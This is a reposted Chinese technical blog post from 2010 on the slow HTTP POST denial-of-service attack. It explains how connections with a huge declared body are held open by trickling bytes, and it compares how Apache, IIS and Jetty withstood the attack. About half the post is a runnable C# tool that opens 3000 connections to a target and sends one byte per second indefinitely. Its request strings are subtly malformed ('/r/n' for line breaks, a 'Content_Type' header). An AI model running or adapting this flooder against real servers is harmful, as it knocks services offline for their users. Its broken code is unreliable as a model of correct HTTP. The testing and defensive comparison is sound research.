转帖：HTTP POST慢速DOS攻击初探-CSDN博客

HTTP POST慢速DOS攻击初探

December 28th, 2010 Posted in 应用安全及黑客攻击 , 软件架构与设计

1. 关于HTTP POST慢速DOS攻击

HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上，由Wong Onn Chee 和 Tom Brennan共同演示了使用这一技术攻击的威力。他们的slides在这里：

http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html

这个攻击的基本原理如下：

针对任意HTTP Server，建立一个连接，指定一个比较大的content-length，然后以很低的速度发包，比如10-100s发一个字节，hold住这个连接不断开。如果客户端持续建立这样的连接，那么服务器上可用的连接将很快被占满，从而导致DOS.

这一攻击引起我注意的原因有这几点：

1. 它可以针对任意Web服务。HTTP协议在接收到request之前是无法对请求内容作校验的，所以即使你的Web应用没有可用form表单，这个攻击一样有效。

2. 廉价。在客户端以单线程方式建立较大数量的无用连接，并保持持续发包的代价非常低廉。实际试验中一台普通PC可以建立的Socket连接在3000个以上。这对一台普通的web server，将是致命的打击。更不用说结合肉鸡群做分布式DOS了。

2. 攻击示范

为演示这个攻击，我做了一个简单的POC，C#代码如下。

using 
System;

using 
System.Collections.Generic;

using 
System.Text;

using 
System.Net.Sockets;

using 
System.Threading;

namespace 
HTTPPostDoS

{

    class 
TestDemo

    
{

        static void 
Main(string
[] args)

        {

            string 
host = "target"
;

            int 
port = 8080;

            int 
max_number_of_connection = 3000;

            List
<TcpClient
> clients = new 
List
<TcpClient
>();

            for 
(int 
i = 0; i < max_number_of_connection; i++)

            {

                TcpClient 
client = new 
TcpClient
();

                clients.Add(client);

                client.Connect(host, port);

                if 
(client.Connected)

                {

                    string 
header = "POST /a HTTP/1.1/r/n" 
+

                                    "HOST: " 
+ host + "/r/n" 
+

                                    "Connection: keep-alive/r/n" 
+

                                    "Keep-Alive: 900/r/n" 
+

                                    "Content-Length: 100000000/r/n" 
+

                                    "Content_Type: application/x-www-form-urlencoded/r/n" 
+

                                    "Accept: *.*/r/n"
;

                    int 
sent = client.Client.Send(System.Text.Encoding
.Default.GetBytes(header));

                    if 
(sent <= 0)

                    {

                        Console
.WriteLine("Error while connecting to server"
);

                    }

                    else

                    
{

                        Console
.WriteLine("Connected"
);

                    }

                }

            }

            while 
(true
)

            {

                int 
i = 0;

                foreach 
(TcpClient 
client in 
clients)

                {

                    i++;

                    client.Client.Send(System.Text.Encoding
.Default.GetBytes("a"
));

                    Console
.WriteLine("Client " 
+ i + " just sent a byte."
);

                }

                Thread
.Sleep(1000);

            }

        }

    }

}

这段代码向目标服务器的示例Web Server发起攻击，每秒钟向服务器post一个字节以保证连接不会过期。

这个攻击对Apache的效果十分明显，Apache的maxClients几乎在瞬间被hold住，浏览器在攻击进行期间无法访问测试页面。

但是针对IIS的攻击被证明没有效果，同时我还测试了公司使用最多的Jetty，有了更多有意思的发现。

3. Jetty Server 在NIO和BIO模式下对此攻击的不同反应

在针对Jetty做测试时，我发现针对不同的Jetty Connector配置，攻击的效果有天壤之别。

我们知道Jetty在配置Connector时，可以有NIO和BIO两种模式供选择。当使用BIO模式时，Jetty的max thread被瞬间耗尽，服务停止。但是在使用NIO模式时，即使客户端的恶意socket连接数已经达到3000个，但是服务依然没有受到任何影响。这个应该很好理解，由于这两种模式下的Connector直接影响到服务端处理Socket的模型。IIS的情况我不是很清楚，但是猜测MS在实现时采用了 NIO Socket模型。

详细的配置情况，请参见Jetty的官方文档。

其它的Web Server，我没有做进一步测试。如有兴趣请自行验证。